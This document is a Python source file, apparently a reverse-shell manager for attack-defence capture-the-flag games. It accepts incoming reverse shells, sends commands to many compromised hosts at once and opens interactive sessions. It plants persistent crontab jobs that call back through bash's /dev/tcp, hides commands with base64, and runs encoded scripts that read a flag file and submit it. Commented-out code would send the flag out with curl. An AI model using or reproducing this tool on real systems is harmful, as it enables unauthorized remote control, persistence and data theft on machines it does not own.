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Reverse-Shell-Manager.py
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Reverse-Shell-Manager.py
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
import hashlib
import os
import random
import requests
import signal
import socket
import string
import sys
import threading
import time
import traceback
from rshm.utils.log import Log
from rshm.utils.misc import base64_encode, base64_decode
slaves = {}
masters = {}
flag_path = "/flag"
EXIT_FLAG = False
MAX_CONNECTION_NUMBER = 0x10
def submit_flag(flag):
try:
# TODO
url = "http://127.0.0.1:5000/?flag=%s" % (flag)
print((requests.get(url).content))
except Exception as e:
traceback.print_exc()
print(repr(e))
def md5(data):
if type(data) == str:
data = data.encode()
return hashlib.md5(data).hexdigest()
def recvuntil(p, target):
data = b""
while target not in data:
data += p.recv(1)
return data
def recvall(socket_fd):
data = b""
size = 0x100
while True:
r = socket_fd.recv(size)
if not r:
break
data += r
if len(r) < size:
break
return data
def slaver(host, port, fake):
slaver_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
slaver_fd.connect((host, port))
banner = "[FakeTerminal] >> "
while True:
if EXIT_FLAG:
Log.warning("Slaver function exiting...")
break
command = recvuntil(slaver_fd, b"\n")
if fake:
slaver_fd.send(banner.encode("utf-8"))
# Log.info("Executing : %r" % (command))
try:
result = os.popen(command).read()
except Exception as e:
traceback.print_exc()
print(repr(e))
result = ""
slaver_fd.send((command + result).encode("utf-8"))
Log.warning("Closing connection...")
slaver_fd.shutdown(socket.SHUT_RDWR)
slaver_fd.close()
def transfer(h):
slave = slaves[h]
socket_fd = slave.socket_fd
buffer_size = 0x400
interactive_stat = True
while True:
if EXIT_FLAG:
Log.warning("Transfer function exiting...")
break
interactive_stat = slave.interactive
buffer = socket_fd.recv(buffer_size)
if not buffer:
Log.error("No data, breaking...")
break
sys.stdout.write(buffer.decode("utf-8"))
if not interactive_stat:
break
if interactive_stat:
Log.error("Unexpected EOF!")
socket_fd.shutdown(socket.SHUT_RDWR)
socket_fd.close()
slave.remove_node()
def random_string(length, chars):
return "".join([random.choice(chars) for i in range(length)])
class Slave():
def __init__(self, socket_fd):
self.socket_fd = socket_fd
self.hostname, self.port = socket_fd.getpeername()
self.node_hash = node_hash(self.hostname, self.port)
self.interactive = False
self.api_info = self.location(self.hostname)
self.country = self.api_info['country']
self.isp = self.api_info['isp']
self.area = self.api_info['area']
self.region = self.api_info['region']
self.city = self.api_info['city']
def location(self, host):
'''
try:
response = requests.get("http://ip.taobao.com/service/getIpInfo.php?ip=%s" % (host), timeout=0.5)
content = response.content
return json.loads(content)["data"]
except Exception as e:
traceback.print_exc()
Log.error(repr(e))
'''
return {"data":"error", 'country': 'Unknown_country','isp': 'Unknown_isp','area': 'Unknown_area','region': 'Unknown_region','city': 'Unknown_city',}
def show_info(self):
Log.info("Hash : %s" % (self.node_hash))
Log.info("From : %s:%d" % (self.hostname, self.port))
Log.info("ISP : %s-%s" % (self.country, self.isp))
Log.info("Location : %s-%s-%s" % (self.area, self.region, self.city))
def send_command(self, command):
try:
self.socket_fd.send((command + "\n").encode("utf-8"))
return True
except Exception as e:
traceback.print_exc()
print(repr(e))
self.remove_node()
return False
def system_token(self, command):
token = random_string(0x10,string.ascii_letters + string.digits)
payload = "echo '%s' && %s ; echo '%s'\n" % (token, command, token)
Log.info(payload)
self.send_command(payload)
time.sleep(0.2)
result = recvall(self.socket_fd)
print(("%r") % (result))
if len(result.split(token.encode("utf-8"))) == 3:
return result.split(token)[1]
else:
return "Somthing wrong"
def send_command_log(self, command):
log_file = "./log/%s.log" % (time.strftime("%Y-%m-%d_%H:%M:%S", time.localtime()))
Log.info("Log file : %s" % (log_file))
self.send_command(command)
time.sleep(0.5)
Log.info("Receving data from socket...")
result = recvall(self.socket_fd)
Log.success(result)
with open(log_file, "a+") as f:
f.write("[%s]\n" % ("-" * 0x20))
f.write("From : %s:%d\n" % (self.hostname, self.port))
f.write("ISP : %s-%s\n" % (self.country, self.isp))
f.write("Location : %s-%s-%s\n" % (self.area, self.region, self.city))
f.write("Command : %s\n" % (command))
f.write("%s\n" % (result))
def send_command_print(self, command):
print((">>>>>> %s") % command)
self.send_command(command)
time.sleep(0.5)
Log.info("Receving data from socket...")
result = recvall(self.socket_fd)
Log.success(result)
def interactive_shell(self):
self.interactive = True
t = threading.Thread(target=transfer, args=(self.node_hash, ))
t.start()
try:
while True:
command = input()
if command == "exit":
self.interactive = False
self.socket_fd.send(b"\n")
break
self.socket_fd.send((command + "\n").encode("utf-8"))
except Exception as e:
traceback.print_exc()
print(repr(e))
self.remove_node()
self.interactive = False
time.sleep(0.125)
def save_crontab(self, target_file):
command = "crontab -l > %s" % (target_file)
self.send_command_print(command)
def add_crontab(self, content):
# 1. Save old crontab
Log.info("Saving old crontab")
chars = string.letters + string.digits
target_file = "/tmp/%s-system.server-%s" % (random_string(0x20, chars), random_string(0x08, chars))
self.save_crontab(target_file)
# 3. Add a new task
content = content + "\n"
Log.info("Add new tasks : %s" % (content))
command = 'echo "%s" | base64 -d >> %s' % (base64_encode(content).replace("\n", ""), target_file)
self.send_command(command)
# 4. Rescue crontab file
Log.info("Rescuing crontab file...")
command = 'crontab %s' % (target_file)
self.send_command(command)
# 5. Delete temp file
Log.info("Deleting temp file...")
command = "rm -rf %s" % (target_file)
self.send_command(command)
# 6. Receving buffer data
print(recvall(self.socket_fd))
def del_crontab(self, pattern):
# 1. Save old crontab
Log.info("Saving old crontab")
chars = string.letters + string.digits
target_file = "/tmp/%s-system.server-%s" % (random_string(0x20, chars), random_string(0x08, chars))
self.save_crontab(target_file)
# 2. Delete old reverse shell tasks
Log.info("Removing old tasks in crontab...")
command = 'sed -i "/bash/d" %s' % (target_file)
self.send_command(command)
# 4. Rescue crontab file
Log.info("Rescuing crontab file...")
command = 'crontab %s' % (target_file)
self.send_command(command)
# 5. Delete temp file
Log.info("Deleting temp file...")
command = "rm -rf %s" % (target_file)
self.send_command(command)
# 6. Receving buffer data
print(recvall(self.socket_fd))
def auto_connect(self, target_host, target_port):
# self.del_crontab("bash")
content = '* * * * * bash -c "bash -i &>/dev/tcp/%s/%d 0>&1"\n' % (target_host, target_port)
# self.add_crontab(content)
self.system_token("crontab -r;echo '%s'|base64 -d|crontab" % (base64_encode(content).replace("\n", "")))
def remove_node(self):
Log.error("Removing Node!")
if self.node_hash in list(slaves.keys()):
slaves.pop(self.node_hash)
def master(host, port):
Log.info("Master starting at %s:%d" % (host, port))
master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
master_fd.bind((host, port))
master_fd.listen(MAX_CONNECTION_NUMBER)
while(True):
if EXIT_FLAG:
break
slave_fd, slave_addr = master_fd.accept()
Log.success("\r[+] Slave online : %s:%d" % (slave_addr[0], slave_addr[1]))
repeat = False
for i in list(slaves.keys()):
slave = slaves[i]
if slave.hostname == slave_addr[0]:
repeat = True
break
if repeat:
Log.warning("Detect the same host connection, reseting...")
slave_fd.shutdown(socket.SHUT_RDWR)
slave_fd.close()
else:
slave = Slave(slave_fd)
slaves[slave.node_hash] = slave
Log.error("Master exiting...")
master_fd.shutdown(socket.SHUT_RDWR)
master_fd.close()
def show_commands():
print ("Commands : ")
print (" 0. [h|help|?|\\n] : show this help")
print (" 1. [l] : list all online slaves")
print (" 2. [p] : log.info(position info")
print (" 3. [i] : interactive shell")
print (" 4. [g] : goto a slave")
print (" 5. [gf] : get flag")
print (" 6. [gaf] : get all flag")
print (" 7. [c] : command for all")
print (" 8. [cronadd] : add crontab")
print (" 9. [crondel] : del crontab")
print (" 10. [cl] : command to log")
print (" 11. [setl] : set local execute")
print (" 12. [setr] : set remote execute")
print (" 13. [d] : delete node")
print (" 14. [ac] : auto connection")
print (" 15. [aac] : all node auto connction")
print (" 16. [nm] : listen another port")
print (" 17. [q|quit|exit] : exit")
def signal_handler(ignum, frame):
print("")
show_commands()
def node_hash(host, port):
return md5("%s:%d" % (host, port))
def decode_flag(flag):
result = ""
key = 233
for i in flag:
result += chr(ord(i) ^ key)
return result
def main():
if len(sys.argv) != 3:
print ("Usage : ")
print ("\tpython master.py [HOST] [PORT]")
exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
EXEC_LOCAL = True
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
master_thread = threading.Thread(target=master, args=(host, port,))
slaver_thread = threading.Thread(target=slaver, args=(host, port, True,))
master_thread.daemon = True
slaver_thread.daemon = True
Log.info("Starting server...")
master_thread.start()
Log.info("Connecting to localhost server...")
slaver_thread.start()
time.sleep(0.75)
show_commands()
position = slaves[list(slaves.keys())[0]].node_hash # master himself
while True:
if len(list(slaves.keys())) == 0:
Log.error("No slaves left , exiting...")
break
if not position in list(slaves.keys()):
Log.error("Node is offline... Changing node...")
position = list(slaves.keys())[0]
current_slave = slaves[position]
context_hint = "[%s:%d]" % (current_slave.hostname, current_slave.port)
Log.context(context_hint)
command = input(" >> ") or "h"
if command.startswith("#"):
continue
if command == "h" or command == "help" or command == "?" or command == "\n":
show_commands()
elif command == "l":
Log.info("Listing online slaves...")
for key in list(slaves.keys()):
print(("[%s]") % ("-" * 0x2A))
slaves[key].show_info()
print(("[%s]") % ("-" * 0x2A))
elif command == "p":
current_slave.show_info()
elif command == "c":
cmd = input("Input command (uname -r) : ") or ("uname -r")
Log.info("Command : %s" % (cmd))
for i in list(slaves.keys()):
slave = slaves[i]
result = slave.send_command_print(cmd)
elif command == "cl":
cmd = input("Input command (uname -r) : ") or ("uname -r")
Log.info("Command : %s" % (cmd))
for i in list(slaves.keys()):
slave = slaves[i]
result = slave.send_command_log(cmd)
elif command == "cronadd":
content = input("Input new crontab task (* * * * * date): ") or ("* * * * * date")
current_slave.add_crontab(content)
elif command == "crondel":
pattern = input("Input pattern (bash) : ") or ("bash")
current_slave.del_crontab(pattern)
elif command == "g":
input_node_hash = input(
"Please input target node hash : ") or position
Log.info("Input node hash : %s" % (repr(input_node_hash)))
if input_node_hash == position:
Log.warning("Position will not change!")
continue
found = False
for key in list(slaves.keys()):
if key.startswith(input_node_hash):
# old_slave = slaves[position]
new_slave = slaves[key]
# Log.info("Changing position from [%s:%d] to [%s:%d]" % (old_slave.hostname, old_slave.port, new_slave.hostname, new_slave.port))
Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port))
position = key
found = True
break
if not found:
Log.error("Please check your input node hash!")
Log.error("Position is not changed!")
elif command == "setl":
EXEC_LOCAL = True
elif command == "setr":
EXEC_LOCAL = False
elif command == "gaf":
while True:
'''
flag_path = raw_input(
"Input flag path (/flag.txt) : ") or ("/flag.txt")
box_host = raw_input("Input flag box host (192.168.187.128) : ") or (
"192.168.187.128")
box_port = int(raw_input("Input flag box host (80) : ") or ("80"))
'''
for i in list(slaves.keys()):
slave = slaves[i]
r_info = open("host").read()
r_host = r_info.split(":")[0]
r_port = int(r_info.split(":")[1])
slave.auto_connect(r_host, r_port)
payload = base64_encode("python -c 'exec(\"%s\".decode(\"base64\"))'" % '''
flag = open("__FLAG_PATH__").read()
key = 233
result = ""
for i in flag:
result += chr(ord(i) ^ key)
print result
'''.replace("__FLAG_PATH__", flag_path)).replace("\n", "")
# cmd = "FLAG=`%s`" % (payload)
# Log.info(cmd)
# exit(0)
Log.info("Command : %s" % (payload))
result = slave.system_token(payload)
flag = decode_flag(result.replace("\n", "").replace("\r","")).replace("\n", "").replace("\r", "")
Log.info("FLAG: %s" % flag)
submit_flag(flag)
Log.info("Submitted")
'''
cmd = "FLAG=`cat %s | base64`" % (flag_path)
Log.info("Command : %s" % (cmd))
result = slave.send_command(cmd)
cmd = "curl \"http://%s:%d/?flag=${FLAG}\"" % (
box_host, box_port)
Log.info("Command : %s" % (cmd))
result = slave.send_command(cmd)
if result:
Log.info("Flag is sent to you!")
else:
# slave.remove_node()
Log.error("Executing command failed! Connection aborted! Node removed!")
position = slaves.keys()[0]
Log.info("Position changed to : %s" % (position))
'''
sleep_time = int(open("sleep").read())
if sleep_time == 0:
break
time.sleep(sleep_time)
elif command == "gf":
# flag_path = raw_input(
# "Input flag path (/flag) : ") or ("/flag")
# box_host = raw_input("Input flag box host (192.168.187.128) : ") or (
# "192.168.187.128")
# box_port = int(raw_input("Input flag box host (80) : ") or ("80"))
payload = base64_encode("python -c 'exec(\"%s\".decode(\"base64\"))'" % '''
flag = open("__FLAG_PATH__").read()
key = 233
result = ""
for i in flag:
result += chr(ord(i) ^ key)
print result
'''.replace("__FLAG_PATH__", flag_path))
# cmd = "FLAG=`%s`" % (payload)
# Log.info(cmd)
# exit(0)
Log.info("Command : %s" % (payload))
result = current_slave.system_token(payload)
flag = decode_flag(result)
Log.info("FLAG: %s" % flag)
submit_flag(flag)
Log.info("Submitted")
# cmd = "curl \"http://%s:%d/?flag=${FLAG}\"" % (
# box_host, box_port)
# Log.info("Command : %s" % (cmd))
# result = current_slave.send_command(cmd)
# if result:
# Log.info("Flag is sent to you!")
# else:
# # slave.remove_node()
## Log.error("Executing command failed! Connection aborted! Node removed!")
# position = slaves.keys()[0]
# Log.info("Position changed to : %s" % (position))
elif command == "i":
current_slave.interactive_shell()
elif command == "d":
current_slave.remove_node()
elif command == "ac":
target_host = input("Target host (192.168.1.1) : ") or ("192.168.1.1")
target_port = int(input("Target port (8080) : ") or ("8080"))
Log.info("Changing crontab...")
current_slave.auto_connect(target_host, target_port)
elif command == "aac":
target_host = input("Target host (192.168.1.1) : ") or ("192.168.1.1")
target_port = int(input("Target port (8080) : ") or ("8080"))
for i in list(slaves.keys()):
slave = slaves[i]
slave.auto_connect(target_host, target_port)
elif command == "nm":
new_master_host = input("Input new master's host (0.0.0.0): ") or ("0.0.0.0")
new_master_port = int(input("Input new master's port (8090): ") or ("8090"))
new_master_thread = threading.Thread(target=master, args=(new_master_host, new_master_port,))
new_master_thread.daemon = True
new_master_thread.start()
# TODO : OO
# TODO : Master Management
elif command == "q" or command == "quit" or command == "exit":
EXIT_FLAG = True
# TODO : release all resources before closing
Log.info("Releasing resources...")
for key in list(slaves.keys()):
slave = slaves[key]
Log.error("Closing conntion of %s:%d" % (slave.hostname, slave.port))
slave.socket_fd.shutdown(socket.SHUT_RDWR)
slave.socket_fd.close()
Log.error("Exiting...")
exit(0)
else:
Log.error("Unsupported command!")
if EXEC_LOCAL:
os.system(command)
else:
current_slave.send_command_print(command)
if __name__ == "__main__":
main()